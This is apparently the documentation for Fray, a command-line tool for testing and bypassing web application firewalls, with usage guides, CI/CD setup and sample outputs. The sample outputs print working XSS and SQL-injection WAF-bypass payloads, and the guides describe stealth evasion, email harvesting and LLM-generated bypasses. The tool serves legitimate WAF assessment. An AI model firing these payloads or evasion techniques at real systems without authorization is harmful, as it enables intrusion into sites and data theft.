Quick Start
Get Fray running in under 60 seconds.
New in v3.4.0 — Payload database expanded to
4,003 payloads across 23 categories, VS Code extension published to Marketplace,
fray feed threat intelligence command, and
fray agent self-improving bypass engine.
See full changelog →
Install
pip install fray
Run your first scan
# Detect the WAF vendor
fray detect https://example.com
# Smart scan — auto-selects best payload categories
fray test https://example.com --smart -y
# Full pipeline: recon → scan → ai-bypass
fray auto https://example.com
Key concepts
| Term | Meaning |
| Payload | A crafted input string designed to test WAF rules (e.g. XSS, SQLi) |
| Bypass | A payload that the WAF fails to block |
| Block rate | Percentage of payloads the WAF successfully blocked |
| Smart mode | Auto-selects the most relevant payload categories for the target |
| Stealth mode | UA rotation, jitter, throttle to avoid detection |
What's next?
Cheat Sheet
Every command and common flag combination in one place.
Core commands
# Detect WAF vendor
fray detect <url>
# 27-check recon — save as HTML report
fray recon <url> [--format html --output recon.html]
# Payload testing
fray test <url> --smart -y # auto-select categories
fray test <url> --category xss --max 200 # specific category
fray test <url> --all --max 50 # all 23 categories
fray test <url> --smart -y --stealth --delay 2 # stealth mode
# Bypass assessment
fray bypass <url> [--category sqli] [--stealth]
fray ai-bypass <url> [--provider anthropic]
fray agent <url> [--rounds 5 --budget 100 --ai]
# Full pipeline
fray auto <url> [--stealth --output report.html --format html]
# Hardening audit
fray harden <url>
# Attack surface
fray graph <url>
fray recon <url> --smart
# OSINT
fray osint <domain>
# Threat intel feed
fray feed [--since 7d --auto-add]
# Regression testing
fray diff before.json after.json
Auth flags
fray test <url> --cookie "session=abc123; csrf=xyz"
fray test <url> --bearer "eyJhbGciOiJIUzI1NiJ9..."
fray test <url> --header "X-API-Key: your-key"
Output formats
fray test <url> --format json --output results.json
fray test <url> --format html --output report.html
fray test <url> --format sarif --output results.sarif # GitHub Security tab
fray test <url> --format md --output report.md
fray test <url> --format burp --output export.xml # Burp Suite import
fray test <url> --format zap --output alerts.json # OWASP ZAP import
Scope & stealth
fray scan <url> --scope scope.txt # restrict crawl to scope
fray test <url> --stealth # UA rotation + jitter + throttle
fray test <url> --stealth --delay 3 # stealth + 3s between requests
fray test <url> -w 1 # single worker (slowest, quietest)
Multi-target
fray test --targets targets.txt --smart -y
Notifications
fray test <url> --webhook https://hooks.slack.com/services/...
fray test <url> --webhook https://discord.com/api/webhooks/...
Scan impact at a glance
| Command | Approx. requests | Typical time |
fray detect | ~15 | <5s |
fray recon | ~50 | ~30s |
fray test --max 50 | ~50 | ~1 min |
fray test --max 200 | ~200 | ~3 min |
fray bypass | ~80–200 | ~2 min |
fray agent --budget 100 | ≤100 | ~2 min |
fray auto | ~200+ | ~5 min |
Common .fray.toml defaults
[test]
delay = 0.5
timeout = 10
[test.auth]
bearer = "eyJ..." # so you never have to type --bearer again
fray diff
Compare two scan results and exit non-zero if new bypasses appeared. Built for CI/CD regression testing.
Usage
fray diff <before.json> <after.json>
What it does
Compares two Fray JSON result files and reports:
- New bypasses — payloads that passed in
after but were blocked in before
- Fixed bypasses — payloads that were bypassing in
before but are now blocked
- Block rate delta — overall change in WAF effectiveness
Exits with code 1 if any new bypasses are found — making it safe to use as a CI/CD gate.
Typical workflow
# 1. Capture baseline before a WAF rule change
fray test https://staging.example.com --smart -y --output before.json
# 2. Deploy WAF rule change
# 3. Capture results after
fray test https://staging.example.com --smart -y --output after.json
# 4. Diff — exits 1 if new bypasses found
fray diff before.json after.json
In GitHub Actions
- name: Baseline scan
run: fray test $TARGET --smart -y --output before.json
- name: Deploy WAF changes
run: ./deploy-waf-rules.sh
- name: Post-deploy scan
run: fray test $TARGET --smart -y --output after.json
- name: Regression check
run: fray diff before.json after.json
# Step fails (exit 1) if new bypasses appeared after deploy
Sample output
━━━ Fray DIFF ━━━
Before: before.json (200 payloads, 6 bypasses)
After: after.json (200 payloads, 8 bypasses)
NEW BYPASSES (2)
✗ <svg/onload=confirm`1`> xss / case mutation
✗ '; WAITFOR DELAY '0:0:5'-- sqli / time-based
FIXED BYPASSES (0)
none
Block rate: 97.0% → 96.0% (-1.0%)
Exit 1 — new bypasses detected
Python API
from fray.diff import diff_results
result = diff_results("before.json", "after.json")
print(result["new_bypasses"]) # list of newly bypassing payloads
print(result["fixed_bypasses"]) # list of payloads now blocked
print(result["delta"]) # block rate change as float
Installation
Multiple ways to install Fray on your system.
PyPI (Recommended)
pip install fray
Requires Python 3.8+. Only dependency is rich for terminal output.
With MCP support
pip install "fray[mcp]"
From source
git clone https://github.com/dalisecurity/fray.git
cd fray
pip install -e .
Docker
docker pull dalisecurity/fray
docker run --rm dalisecurity/fray test https://example.com
Homebrew (macOS)
brew install fray
Verify installation
fray version
# Fray v3.4.0
VS Code Extension
Search "Fray Security Scanner" in the VS Code Marketplace, or:
code --install-extension DaliSecurity.fray-security
Your First Scan
Step-by-step walkthrough of a complete WAF security test.
Step 1: Detect the WAF
fray detect https://target.com
Fray fingerprints 25 WAF vendors using signature, anomaly, and hybrid detection. You'll see the vendor name, confidence level, and mode (block/detect/transparent).
Step 2: Reconnaissance
fray recon https://target.com
Runs 27 checks: TLS configuration, DNS records, subdomains, CORS policy, open ports, parameters, JavaScript analysis, API endpoints, admin panels, and more.
Step 3: Run payload tests
# Smart mode auto-selects best categories
fray test https://target.com --smart -y
# Or test a specific category
fray test https://target.com --category xss --max 100
Step 4: Bypass assessment
fray bypass https://target.com
5-phase WAF evasion scorer with mutation feedback loop. Tests encoding tricks, case variations, unicode normalization, null bytes, and 16 other strategies.
Step 5: Hardening check
fray harden https://target.com
Grades security headers A-F, checks OWASP Top 10 misconfigs, and provides fix snippets for Nginx, Apache, and Cloudflare Workers.
Or do it all at once
fray auto https://target.com
Runs the entire pipeline: recon → scan → ai-bypass. Produces a comprehensive report.
fray auto
Full automated pipeline: recon → scan → AI bypass.
Usage
fray auto <target> [options]
What it does
- Recon — 27 checks (TLS, DNS, subdomains, CORS, params, etc.)
- WAF Detection — Fingerprint vendor and mode
- Scan — Crawl, discover parameters, inject payloads
- AI Bypass — LLM-generated payloads adapt in real-time
- Report — HTML/JSON/SARIF output
Options
| Flag | Description | Default |
--output <file> | Save results to file | stdout |
--format <fmt> | Output format: json, html, sarif, md | json |
--stealth | Enable stealth mode | off |
--delay <sec> | Delay between requests | 0.5 |
--max <n> | Max payloads per category | 50 |
Example
fray auto https://staging.example.com --stealth --output report.html --format html
Sample output
━━━ Fray AUTO ━━━
Target: https://staging.example.com
[1/5] Reconnaissance
✓ TLS: TLS 1.3, valid cert (expires 2027-01-15)
✓ DNS: 4 A records, DNSSEC enabled
✓ Subdomains: 7 found (api, cdn, staging, admin, ...)
! CORS: Wildcard origin detected
✓ Headers: 6/9 security headers present
✓ 27/27 checks completed
[2/5] WAF Detection
Vendor: Cloudflare
Mode: Block (strict)
Confidence: 97%
[3/5] Scan
✓ Crawled 34 pages, found 12 injection points
✓ Parameters: 8 query, 3 form, 1 header
[4/5] AI Bypass
✓ Generated 25 adaptive payloads
✗ 3 bypassed WAF ! 22 blocked
[5/5] Report
✓ Saved to report.html
━━━ Summary ━━━
Total: 50 payloads
Blocked: 47 (94% block rate)
Bypassed: 3
Grade: B
Duration: 42.3s
fray scan
Crawl, discover injection points, and test automatically.
Usage
fray scan <target> [options]
How it works
- Crawl — Discover pages and endpoints
- Parameter discovery — Find query params, form fields, headers
- Injection — Test each parameter with relevant payloads
- Reflection detection — Check if payload is reflected in response
Options
| Flag | Description |
--depth <n> | Crawl depth (default: 3) |
--scope <file> | Scope file for target validation |
--cookie <val> | Cookie header for authenticated scanning |
--bearer <token> | Bearer token for API scanning |
Sample output
━━━ Fray SCAN ━━━
Target: https://app.example.com
[Crawl] Depth 3 — 34 pages discovered
✓ /login 2 params (username, password)
✓ /search 1 param (q)
✓ /api/users?id= 1 param (id)
✓ /profile?name= 1 param (name)
... 8 more endpoints
[Inject] Testing 12 injection points
✗ /search?q= XSS reflected (payload echoed unescaped)
✓ /login Blocked (403)
✗ /api/users?id= SQLi blind (time delta: 5.2s)
✓ /profile?name= Encoded & blocked
━━━ Results ━━━
Endpoints: 34 crawled
Parameters: 12 tested
Findings: 2 vulnerabilities
Duration: 18.7s
fray test
Test a target with 4,000+ payloads across 23 categories.
Usage
fray test <target> [options]
Modes
| Mode | Flag | Description |
| Smart | --smart -y | Auto-select best categories for target |
| Category | --category xss | Test a specific category |
| All | --all | Test all 23 categories |
Categories
XSS, SQLi, command injection, SSTI, XXE, SSRF, path traversal, CRLF, open redirect, LDAP, XPath, CSP bypass, file upload, web shells, WordPress, API security, prototype pollution, LLM/AI testing, and more.
Options
| Flag | Description | Default |
--max <n> | Max payloads per category | 50 |
--delay <sec> | Delay between requests | 0.5 |
--stealth | Enable stealth mode | off |
--output <file> | Save results | stdout |
Example
# Test XSS with max 200 payloads, stealth mode
fray test https://target.com --category xss --max 200 --stealth
# Smart mode with JSON output
fray test https://target.com --smart -y --output results.json
Sample output
━━━ Fray TEST ━━━
Target: https://target.com
Category: xss (smart mode)
Payloads: 200
✓ BLOCKED <script>alert(1)</script>
✓ BLOCKED <img src=x onerror=alert(1)>
✓ BLOCKED javascript:alert(document.cookie)
✗ BYPASS <svg/onload=alert(1)> (confidence: 85%)
✓ BLOCKED <iframe src="javascript:alert(1)">
✗ BYPASS <details open ontoggle=alert(1)> (confidence: 72%)
✓ BLOCKED '"><img src=x onerror=prompt(1)>
... 193 more payloads tested
━━━ Summary ━━━
Total: 200
Blocked: 194
Bypassed: 6 ← payloads the WAF did NOT block
Block rate: 97.0% ← 194/200 blocked; higher = stronger WAF
FP score: Low ← Low = high confidence bypasses are real (payload reflected)
Duration: 31.4s
Reading the output
confidence % — How certain Fray is the payload was not blocked. 85%+ means the response was 200 AND the payload was reflected in the body. Lower confidence means 200 response with no reflection (possible soft-block or detect-only WAF mode).
FP score — False Positive estimate. Low = bypass is likely real (payload reflected). Medium = 200 but no reflection; verify manually. High = likely false positive; the WAF may be in detect-only mode.
Block rate 97% — A strong result. Industry baseline for well-configured WAFs is 95–99%. 0 bypasses is the goal; any bypass warrants manual investigation.
fray recon
27-check reconnaissance suite for target profiling.
Usage
fray recon <target> [options]
Checks performed
TLS/SSL — Certificate chain, expiry, protocol versions, cipher suites
DNS — A/AAAA/MX/NS/TXT records, DNSSEC, SPF, DKIM, DMARC
Subdomains — Brute-force and certificate transparency discovery
CORS — Policy analysis and misconfig detection
Headers — Security headers audit and grading
Parameters — URL params, form fields, hidden inputs
JavaScript — API keys, endpoints, secrets in JS files
API Discovery — OpenAPI/Swagger, GraphQL, REST endpoints
Admin Panels — Common admin paths and login pages
WAF Intel — Vendor detection with configuration insights
Options
| Flag | Description |
--smart | Smart mode — skip checks that don't apply |
--output <file> | Save report (HTML recommended) |
--format html | Rich HTML report output |
Sample output
━━━ Fray RECON ━━━
Target: https://example.com
[TLS/SSL]
✓ Protocol: TLS 1.3
✓ Certificate: Valid (CN=example.com, expires 2027-03-15)
✓ HSTS: max-age=31536000; includeSubDomains
[DNS]
✓ A: 104.21.32.1, 172.67.154.8
✓ MX: mx1.example.com (pri 10)
✓ NS: ns1.cloudflare.com, ns2.cloudflare.com
✓ SPF: v=spf1 include:_spf.google.com ~all
! DMARC: Missing — email spoofing risk
[Subdomains]
7 found: api, cdn, staging, admin, mail, dev, blog
[Headers]
✓ X-Content-Type-Options: nosniff
✓ X-Frame-Options: DENY
✗ Content-Security-Policy: MISSING
✗ Permissions-Policy: MISSING
[WAF]
Detected: Cloudflare (confidence: 97%)
━━━ Score: 22/27 checks passed ━━━
fray detect
Fingerprint WAF vendor from 25 known signatures.
Usage
fray detect <target>
Supported WAFs
Cloudflare, Akamai, AWS WAF, Azure Front Door, Imperva/Incapsula, Sucuri, Barracuda, F5 BIG-IP, Fortinet FortiWeb, Citrix NetScaler, Radware, ModSecurity, Wallarm, Reblaze, StackPath, Fastly, KeyCDN, Edgecast, ArvanCloud, DDoS-Guard, BitNinja, Wordfence, SiteLock, Comodo, and generic WAF detection.
Detection methods
- Signature — Response headers, cookies, error pages
- Anomaly — Behavioral analysis from probe responses
- Hybrid — Combined signature + anomaly for high confidence
Sample output
━━━ Fray DETECT ━━━
Target: https://example.com
[Probing] Sending detection requests...
Vendor: Cloudflare
Confidence: 97%
Mode: Block (strict)
Method: Signature + Anomaly (hybrid)
Signatures matched:
✓ cf-ray header present
✓ __cfduid cookie detected
✓ Server: cloudflare
✓ Error page fingerprint matched
Behavioral indicators:
✓ Challenge page on SQLi probe (403)
✓ JS challenge on rapid requests
✓ Rate limiting after 15 req/s
━━━ Detection complete (1.2s) ━━━
fray bypass
5-phase WAF evasion scorer with mutation feedback loop.
Usage
fray bypass <target> [options]
5 Phases
- Baseline — Test standard payloads to establish block rate
- Encoding — URL, double URL, HTML entity, Unicode encoding
- Mutation — 20 strategies: case variation, null bytes, comments, etc.
- Header tricks — X-Forwarded-For, content-type confusion, chunked
- Adaptive — Feedback loop: successful techniques get amplified
Options
| Flag | Description |
--category <cat> | Focus on specific category |
--max <n> | Max payloads per phase |
--stealth | Throttle to avoid rate limiting |
Sample output
━━━ Fray BYPASS ━━━
Target: https://target.com
WAF: Cloudflare (strict)
[Phase 1: Baseline] 20 payloads
Blocked: 20/20 (100% block rate)
[Phase 2: Encoding] 20 payloads
✗ BYPASS %3Csvg%2Fonload%3Dalert(1)%3E double URL encode
Blocked: 19/20 (95%)
[Phase 3: Mutation] 20 payloads
✗ BYPASS <sVg/oNloAd=alert(1)> case + entity
✗ BYPASS <img src=x onerror=al\u0065rt(1)> unicode escape
Blocked: 18/20 (90%)
[Phase 4: Headers] 10 payloads
Blocked: 10/10 (100%)
[Phase 5: Adaptive] 10 payloads
✗ BYPASS <d3tails open ontoggle=alert(1)> mutation amplified
Blocked: 9/10 (90%)
━━━ Evasion Score ━━━
Total: 80 payloads
Bypassed: 4
Block rate: 95.0%
Best technique: double URL encoding + case mutation
Duration: 28.6s
fray ai-bypass
LLM-powered adaptive bypass generation.
Usage
fray ai-bypass <target> [options]
How it works
- Probe — Send baseline payloads to understand WAF behavior
- Analyze — LLM analyzes block/pass patterns
- Generate — LLM creates custom evasion payloads
- Test — Send generated payloads to target
- Iterate — Feedback results to LLM, generate new variants
Supported LLMs
- OpenAI (GPT-4, GPT-4o) — set
OPENAI_API_KEY
- Anthropic (Claude) — set
ANTHROPIC_API_KEY
- Local models via OpenAI-compatible API
Configuration
# Using OpenAI
export OPENAI_API_KEY=sk-...
fray ai-bypass https://target.com
# Using Anthropic
export ANTHROPIC_API_KEY=sk-ant-...
fray ai-bypass https://target.com --provider anthropic
Sample output
━━━ Fray AI-BYPASS ━━━
Target: https://target.com
Provider: OpenAI (gpt-4o)
WAF: Cloudflare
[Probe] Sending 10 baseline payloads...
Blocked: 10/10 — WAF is active
[Analyze] Sending patterns to LLM...
LLM insight: WAF blocks <script> tags and event handlers,
but allows SVG elements. Try nested SVG with onload.
[Generate] LLM created 15 payloads
✓ BLOCKED <svg><script>alert(1)</script></svg>
✗ BYPASS <svg><animate onbegin=alert(1) attributeName=x dur=1s>
✗ BYPASS <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
... 12 more tested
[Iterate] Feeding results back, round 2...
✗ BYPASS <svg><set onbegin=alert(1) attributename=x to=1>
━━━ Results ━━━
LLM rounds: 2
Generated: 30 payloads
Bypassed: 3
Cost: ~$0.02
Duration: 14.8s
fray agent
Self-improving payload agent — iterative probe, mutate, and learn loop with pattern caching.
Usage
fray agent <target>
fray agent <target> -c xss --rounds 5 --budget 100
fray agent <target> -c sqli,xss --ai # Enable LLM fallback
fray agent <target> --no-cache # Skip learned patterns
How it works
- Probe — Send diagnostic payloads to fingerprint WAF behavior (blocked tags, events, keywords, encodings)
- Cache check — Try previously successful bypasses for this WAF vendor from
~/.fray/learned_patterns.json
- Score & rank — Score all payloads against WAF profile, skip low-likelihood ones
- Test — Send top-ranked payloads
- Analyze — For each blocked payload, infer why it was blocked (tag? event? keyword? encoding?)
- Mutate — Apply targeted mutations based on block reasons (not random)
- Iterate — Repeat rounds 4-6 until budget exhausted or all pass
- Learn — Cache successful bypasses and effective strategies for future runs
Options
--rounds N | Max mutation rounds (default: 5) |
--budget N | Total HTTP request budget (default: 100) |
--ai | Enable batched LLM fallback (needs API key) |
--no-cache | Disable learned pattern cache |
--stealth | Stealth mode: UA rotation + jitter + throttle |
--notify URL | Send webhook notification on completion |
Sample output
Fray Agent — Self-Improving Payload Engine
Budget: 100 requests | Max rounds: 5
Phase 1: Probing WAF (17 probes)...
WAF strictness: moderate (65% probe block rate)
Blocked tags: script, iframe
Allowed tags: img, svg
Blocked events: onerror, onload
Blocked keywords: alert, eval
Phase 1.5: Testing 3 cached bypasses for cloudflare...
CACHE HIT <svg/onload=confirm`1`>
STALE <img src=x onerror=alert(1)>
Phase 2: Scoring 847 payloads...
Kept 312 payloads (skipped 535 low-score)
Round 1: Testing top payloads (20 requests)...
[1/20] BYPASS <svg><animate onbegin=confirm(1)>
[2/20] BLOCKED <script>alert(1)</script>
[3/20] BYPASS <details open ontoggle=confirm`1`>
... 17 more
Round 1 result: 4 bypasses, 16 blocked
Round 2: Testing mutations (15 requests)...
[1/15] BYPASS <SvG/oNlOaD=confirm`1`> case_randomize
[2/15] BLOCKED <scr<!--X-->ipt>alert(1)
[3/15] BYPASS <details open ontoggle=co\u006efirm`1`> unicode_escape
... 12 more
Round 2 result: 3 bypasses, 12 blocked
Cached 8 bypass pattern(s) for cloudflare
Agent Summary
Rounds: 2
Requests: 55 / 100
Bypasses: 8 (payload: 4, mutation: 3, cache: 1)
Techniques: case_randomize, svg_onload, ontoggle, unicode_escape
Bypass rate: 16.0%
fray feed
Threat intelligence feed — auto-discover new attack vectors from CVEs, advisories, and security research, then translate them into Fray payloads.
Usage
fray feed # Fetch from all sources (last 7 days)
fray feed --sources nvd,cisa # Specific sources only
fray feed --since 30d # Look back 30 days
fray feed --since 2w -c xss # XSS only, last 2 weeks
fray feed --auto-add # Auto-add to payload database
fray feed --dry-run # Preview without writing
fray feed --list-sources # Show available sources
Sources
nvd | NIST National Vulnerability Database (CVE API 2.0, free, no key) |
cisa | CISA Known Exploited Vulnerabilities catalog (actively exploited) |
github | GitHub Security Advisories (REST API, optional GITHUB_TOKEN) |
exploitdb | ExploitDB public RSS feed (PoC exploits) |
rss | Security RSS feeds (PortSwigger Research, Project Zero, Hacker News) |
nuclei | Nuclei Templates (projectdiscovery, new template commits) |
How it works
- Fetch — Query all sources for recent CVEs, advisories, PoCs, and research
- Classify — Auto-categorize each finding (xss, sqli, ssrf, rce, etc.) using keyword analysis
- Translate — Convert advisories into Fray payload format with templates and text extraction
- Deduplicate — Hash-based dedup against existing payloads and previous fetches
- Stage or Add — Stage for review (
~/.fray/staged_payloads/) or auto-add to database
Options
--sources LIST | Comma-separated source list (default: all) |
--since PERIOD | Look-back period: 7d, 2w, 30d, 3m (default: 7d) |
-c, --category CAT | Filter by payload category |
--auto-add | Auto-add new payloads to payloads/*/threat_intel.json |
--dry-run | Show what would be added without writing files |
--list-sources | List all available sources |
--json | Machine-readable JSON output |
--notify URL | Send webhook on completion |
Sample output
Fray Threat Intelligence Feed
Looking back: 7 days | Category: all
[NVD / CVE API]
NVD API: fetching CVEs since 2026-03-02...
NVD: 50 CVEs found
[CISA KEV]
CISA KEV: fetching catalog...
CISA KEV: 1536 total entries
[ExploitDB]
ExploitDB: fetching RSS feed...
ExploitDB: 50 items
[Security RSS]
RSS: PortSwigger Research...
RSS: Project Zero...
[Nuclei Templates]
Nuclei Templates: 30 recent commits
Deduplicating...
Total fetched: 66
After dedup: 35 new payloads
Skipped (dupes): 31
Added 15 payloads → command_injection/threat_intel.json
Added 12 payloads → sqli/threat_intel.json
Added 2 payloads → path_traversal/threat_intel.json
Added 6 payloads → xss/threat_intel.json
Feed Summary
Sources: 6
Fetched: 66
New: 35
Duplicate: 31
Added: 35 to payload database
CI/CD Integration
# GitHub Actions — daily threat intel update
- name: Update payloads from threat intel
run: fray feed --since 1d --auto-add --json
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Cache
Seen CVEs and payload hashes are tracked in ~/.fray/threat_intel_cache.json to prevent duplicates across runs. The cache auto-trims to 5,000 CVEs and 10,000 hashes.
fray harden
Security headers audit with A-F grading and fix snippets.
Usage
fray harden <target>
What it checks
- Content-Security-Policy
- Strict-Transport-Security
- X-Content-Type-Options
- X-Frame-Options
- Referrer-Policy
- Permissions-Policy
- Cross-Origin-Opener-Policy
- Cross-Origin-Resource-Policy
- X-XSS-Protection (deprecated but checked)
- OWASP Top 10 misconfigurations
Authenticated targets
If the target requires login to reach hardening-relevant pages (admin panels, API routes), pass auth credentials the same way as fray test:
fray harden https://app.example.com --cookie "session=abc123"
fray harden https://api.example.com --bearer "eyJhbGciOi..."
To avoid typing credentials every time, set them once in .fray.toml under [test.auth] — all commands including harden pick them up automatically.
Output
Grades from A (excellent) to F (critical). Each missing or misconfigured header includes fix snippets for:
- Nginx
- Apache
- Cloudflare Workers
Sample output
━━━ Fray HARDEN ━━━
Target: https://example.com
Security Headers
✓ A Strict-Transport-Security max-age=31536000; includeSubDomains
✓ A X-Content-Type-Options nosniff
✓ A X-Frame-Options DENY
✓ B Referrer-Policy strict-origin-when-cross-origin
✗ F Content-Security-Policy MISSING
✗ F Permissions-Policy MISSING
! C Cross-Origin-Opener-Policy MISSING
! C Cross-Origin-Resource-Policy MISSING
OWASP Top 10 Checks
✓ A03 Injection: WAF detected (Cloudflare)
✓ A05 Security Misconfig: HTTPS enforced
✗ A05 Security Misconfig: CSP header missing
✓ A09 Logging: Server header hidden
Overall Grade: B
Fix: Content-Security-Policy (Nginx)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
Fix: Content-Security-Policy (Cloudflare Workers)
response.headers.set('Content-Security-Policy', "default-src 'self'");
fray osint
WHOIS, email harvesting, GitHub org intel, typosquatting detection.
Usage
fray osint <domain>
Information gathered
- WHOIS — Registrar, creation/expiry dates, nameservers
- Email harvesting — Discover email addresses associated with the domain
- GitHub — Organization repos, members, potential secrets
- Typosquatting — Detect look-alike domains registered by third parties
- Social media — Brand presence across platforms
Sample output
━━━ Fray OSINT ━━━
Domain: example.com
[WHOIS]
Registrar: Cloudflare, Inc.
Created: 2015-03-21
Expires: 2027-03-21
Nameservers: ns1.cloudflare.com, ns2.cloudflare.com
[Emails]
5 addresses found:
admin@example.com
support@example.com
dev@example.com
security@example.com
cto@example.com
[GitHub]
Org: example-inc (12 public repos)
! Potential secret in: example-inc/backend/.env.example
! API key pattern found in: example-inc/sdk/config.js
[Typosquatting]
! examp1e.com — REGISTERED (different owner)
! exampl3.com — REGISTERED (different owner)
✓ examplee.com — Available
✓ example-app.com — Available
━━━ 4 risks identified ━━━
fray graph
Visual attack surface tree.
Usage
fray graph <target>
What it shows
A tree visualization of the target's attack surface including subdomains, endpoints, parameters, technologies, and potential vulnerabilities — rendered as a rich terminal tree.
Sample output
━━━ Fray GRAPH ━━━
Target: https://example.com
example.com
├── WAF: Cloudflare (strict)
├── Tech: Nginx, React, Node.js
├── Subdomains
│ ├── api.example.com (REST API, JWT auth)
│ ├── cdn.example.com (static assets)
│ ├── staging.example.com (no WAF!)
│ └── admin.example.com (login page, MFA)
├── Endpoints
│ ├── /api/v1/users (GET, POST)
│ ├── /api/v1/search?q= (reflected param)
│ ├── /login (POST, CSRF token)
│ └── /upload (multipart/form-data)
├── Parameters
│ ├── q (injectable — XSS reflected)
│ ├── id (numeric — SQLi candidate)
│ └── redirect (open redirect candidate)
└── Findings
├── 2 high: XSS reflection, staging no WAF
├── 3 medium: SQLi candidate, open redirect, missing CSP
└── 1 low: Server version disclosure
Scanning Guide
Deep dive into scanning strategies and techniques.
Smart mode vs Manual
Smart mode (--smart -y) analyzes the target's technology stack and WAF configuration to automatically select the most relevant payload categories. This is the recommended mode for most scans.
Manual mode lets you specify exact categories and payload counts for targeted testing.
Stealth scanning
fray test https://target.com --stealth --delay 2
Stealth mode enables:
- User-Agent rotation (100+ realistic UAs)
- Request jitter (randomized timing)
- Connection throttling
- Header randomization
Scope files
# scope.txt
*.example.com
api.example.com
!internal.example.com
fray scan https://example.com --scope scope.txt
Authenticated scanning
# Cookie-based auth
fray test https://app.example.com --cookie "session=abc123"
# Bearer token auth
fray test https://api.example.com --bearer "eyJhbGciOi..."
WAF Detection Guide
How Fray identifies and fingerprints 25 WAF vendors.
Detection methods
Signature-based
Examines HTTP response headers, cookies, error page content, and server banners for known WAF signatures.
Anomaly-based
Sends carefully crafted probe requests and analyzes response behavior: status codes, response times, body content changes.
Hybrid
Combines both methods for highest confidence. Reports vendor, confidence percentage, and detected mode (block/detect/transparent).
Supported vendors
Cloudflare, Akamai, AWS WAF, Azure Front Door, Imperva/Incapsula, Sucuri, Barracuda, F5 BIG-IP, Fortinet FortiWeb, Citrix NetScaler, Radware AppWall, ModSecurity, Wallarm, Reblaze, StackPath, Fastly, KeyCDN, Edgecast, ArvanCloud, DDoS-Guard, BitNinja, Wordfence, SiteLock, Comodo, and generic detection.
Payload Database
4,000+ curated attack payloads across 23 categories.
Categories
| Category | Count | Techniques |
| XSS | 1,209 | DOM, reflected, stored, framework-specific, WAF bypass |
| SQL Injection | 248 | Blind, time-based, UNION, stacked, WAF bypass |
| Command Injection | 200 | Unix/Windows, reverse shells, OOB, bypass |
| AI/LLM Testing | 370 | Jailbreaks, prompt injection, exfiltration |
| SSTI | 122 | Jinja2, Freemarker, Twig, Mako, EJS, Pug |
| XXE | 117 | File read, OOB, SSRF, encoding bypass |
| SSRF | 122 | Cloud metadata, DNS rebinding, protocol smuggling |
| Path Traversal | 117 | PHP wrappers, /proc, log poisoning |
| CRLF Injection | 80 | Response splitting, session fixation |
| Open Redirect | 80 | URL parsing, homograph, encoding bypass |
| API Security | 100 | IDOR, GraphQL, JWT, mass assignment |
| CSP Bypass | 80 | CDN gadgets, JSONP, dynamic import |
| File Upload | 60 | Extension bypass, polyglots, MIME spoofing |
| Web Shells | 50 | PHP/JSP/ASP/Python/Node obfuscation |
| WordPress | 50 | REST API, XML-RPC, plugin probes |
| Prototype Pollution | 50 | RCE chains, XSS, config manipulation |
Payload sources
- Real-world CVEs (175 CVE payloads from 2020-2026)
- Bug bounty reports
- WAF bypass research papers
- Community contributions
- AI-generated variants
Reports & Output
Multiple output formats for every workflow.
Formats
| Format | Flag | Best for |
| JSON | --format json | Automation, CI/CD, API integration |
| HTML | --format html | Human-readable reports, sharing |
| SARIF | --format sarif | GitHub Security tab integration |
| Markdown | --format md | Documentation, tickets |
Webhook notifications
fray test https://target.com --webhook https://hooks.slack.com/services/...
Supports Slack, Discord, and Microsoft Teams webhooks.
Authenticated Scanning
Test behind login with cookies or bearer tokens.
Cookie-based
fray test https://app.example.com --cookie "session=abc123; csrf=xyz"
Bearer token
fray test https://api.example.com --bearer "eyJhbGciOiJIUzI1NiJ9..."
Custom headers
fray test https://api.example.com --header "X-API-Key: your-key"
Multi-Target Scanning
Scan multiple targets from a file.
Target file
# targets.txt
https://app1.example.com
https://app2.example.com
https://api.example.com
fray test --targets targets.txt --smart -y
Stealth Mode
Avoid WAF rate limiting and detection.
Enable stealth
fray test https://target.com --stealth --delay 2
What stealth mode does
- UA rotation — Cycles through 100+ realistic browser User-Agents
- Request jitter — Randomized delay (±30% of specified delay)
- Connection throttling — Limits concurrent connections
- Header randomization — Varies Accept, Accept-Language, Accept-Encoding
GitHub Actions
Add WAF security testing to your CI/CD pipeline.
Quick start
# .github/workflows/waf-test.yml
name: WAF Security Test
on:
pull_request:
schedule:
- cron: '0 6 * * 1'
jobs:
fray:
runs-on: ubuntu-latest
steps:
- uses: dalisecurity/fray@v3
with:
target: 'https://staging.example.com'
Fail on bypass
- uses: dalisecurity/fray@v3
with:
target: 'https://staging.example.com'
fail-on-bypass: 'true'
PR comments
When comment-on-pr: 'true' (default), Fray posts a results summary table as a PR comment showing total payloads, blocked, bypassed, and block rate.
All inputs
| Input | Default | Description |
target | required | Target URL |
mode | smart | smart, all, or category name |
max-payloads | 50 | Max per category |
stealth | false | Enable stealth mode |
fail-on-bypass | false | Fail workflow on bypass |
comment-on-pr | true | Post PR comment |
webhook | | Slack/Discord/Teams URL |
Passing secrets securely
Never hardcode tokens in workflow files. Use GitHub Encrypted Secrets and pass them via env::
- uses: dalisecurity/fray@v3
with:
target: 'https://staging.example.com'
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} # for fray ai-bypass
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # auto-provided by Actions
For cookie or bearer auth, pass via with: using a secret:
- uses: dalisecurity/fray@v3
with:
target: 'https://staging.example.com'
cookie: ${{ secrets.STAGING_SESSION_COOKIE }}
bearer: ${{ secrets.STAGING_API_TOKEN }}
SARIF output → GitHub Security tab
SARIF lets bypass findings appear directly in the GitHub Security tab under Code scanning alerts.
jobs:
fray:
runs-on: ubuntu-latest
permissions:
security-events: write # required for upload-sarif
steps:
- name: Run Fray
run: |
pip install fray
fray test ${{ env.TARGET }} --smart -y \
--format sarif --output results.sarif
- name: Upload to GitHub Security tab
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
if: always() # upload even if fray exits 1
Regression gate with fray diff
Catch WAF regressions before they reach production:
- name: Baseline scan
run: fray test $TARGET --smart -y --output before.json
- name: Deploy WAF rule change
run: ./deploy.sh
- name: Post-deploy scan
run: fray test $TARGET --smart -y --output after.json
- name: Regression check
run: fray diff before.json after.json
# Exits 1 and fails the step if new bypasses appeared
VS Code Extension
Run Fray directly from your editor.
Install
code --install-extension DaliSecurity.fray-security
Or search "Fray Security Scanner" in the VS Code Marketplace.
Commands
